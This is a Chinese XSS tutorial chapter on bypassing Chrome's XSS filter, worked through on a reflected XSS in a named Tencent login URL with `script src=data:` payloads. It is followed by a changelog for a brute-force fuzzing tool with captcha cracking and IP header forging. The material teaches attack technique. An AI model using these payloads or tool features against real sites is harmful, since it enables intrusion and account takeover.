17. XSS过滤器绕过 [通用绕过]

作者:心伤的瘦子

来自:PKAV技术宅社区

网址:http://www.pkav.net

--------------------------------------------------------------

简要描述:

关于反射型的基本东西,暂时就到这啦,如果后面有什么好的case,再做增补。最近,有些人会问到怎么绕过浏览器的XSS过滤器,所以从这节开始,给出点绕过的例子。当然这些绕过浏览器的方法,不是万能的。不同浏览器,不同场景都会存在差异。满足场景要求时,才可以使用。

IE的一些绕过见乌云上的 @gainover,@sogili 的例子,我们教程就不再提及了。
此文给出的是一个来自sogili分享的chrome下绕过过滤器的方法,在腾讯某处XSS上的应用。

这一类都算是“结合了一定场景”,绕过了浏览器自身的防御机制,具有一定的通用性,我们称为“通用绕过”(瞎起的名字,别在意)。但是在后续版本的浏览器中,这些技巧可能会被浏览器干掉从而失效。再次强调:通用不是全部都行,意思是所适用的场景实际发生的概率比较高!

详细说明:

1. 其实就是个普通的XSS点,uin参数没有对任何字符进行过滤。

http://bangbang.qq.com/php/login?game=roco&uin="><img src=1 onerror=alert(1)>&world=5&roleid=44583443&level=8&role=%2

2. 正是由于这个点什么都没过滤,浏览器自身的防御机制也最好发挥作用,瞧瞧,chrome拦截了。。

有的新手,不知道有过滤器的,更是会觉得 “啊,这是怎么回事,怎么不行啊,明明可以的。。”

我们只要看到console里有上面那句,就说明 chrome的过滤器大发神威了!!

3. 我们也看看源码。

危害部分被和谐了。

4. 那么怎么绕过呢? 这里直接说方法。

5. 首先要求缺陷点,允许 < , > 。其次,要求缺陷点的后方存在 </script> 标签。 我们看看当前的这个点的代码。

...

<input type="hidden" id="sClientUin" value=""><img src=1 onerror=alert(1)>">

...

<script type="text/javascript" src="http://pingjs.qq.com/tcss.ping.js"></script>

...

6. 可以看到上面的要求均满足。我们就可以使用以下技巧。
 

<script src=data:,alert(1)<!--

7. 代入到我们的利用代码里。

http://bangbang.qq.com/php/login?game=roco&uin="><script src=data:,alert(1)<!--&world=5&roleid=44583443&level=8&role=%2

这次,我们就成功啦。(笔记:???什么原理?这是什么鬼操作??)

漏洞证明:

见详细说明

修复方案:

参见教程1

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
*2016.3.21 1、Fuzz模块bug修复及性能优化。(感谢孤狼、NoGod等网友提交的bug和反馈!) 2、将软件临时文件清理修改为软件退出时清理,增强用户体验。 *2016.1.20 1、升级自带的验证码识别引擎。 2、优化部分模块。 *2015.12.2 1、修复两处bug,增强和优化部分功能。 *2015.10.30 1、增加对次世代验证码识别引擎2.6.0.1识别库的支持。 *2015.10.21 1、修复已知bug,发布使用帮助手册。 2、优化HTTP代理服务器功能。 3、增加注销会话功能,解决暴力破解测试时,某些系统只能成功暴破一个用户的问题。 4、增加“数字自增长模式”补零功能,勾选补零后,1-100的格式会修正为001、002....100。 5、增强“变体叠加模式”,允许叠加字符串。 6、变体处理规则增加Unix时间戳转换。 *2015.7.24 1、修复已知bug,增强和优化部分功能。 2、增强验证码识别功能,支持四则运算类型的验证码。 *2015.6.25 1、修复目前已知的所有bug。 2、加入了X-Forwarded-For,Client-IP的指定IP段随机伪造。 3、验证码识别支持自定义HTTP请求头部,再也不怕要Referer才能获取验证码等情况了。 4、可以添加批量代理服务器,Fuzz时轮询使用HTTP代理。 5、自动识别次世代验证码识别库版本,自动更换引擎。 *2015.03.23 修复SSL的bug。 *2015.03.22 更新次时代验证码识别引擎动态链接库 *2015.03.19 1、修复重新设置变体后,“变体条件丢弃”功能“应用于变体”处无法实时更新的bug。感谢1c3z@Wooyun提交此bug。 2、修复GET请求中验证码未替换的bug。感谢-_-!orz@Wooyun提交此bug。更多工具请到http://caidaome.com/
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值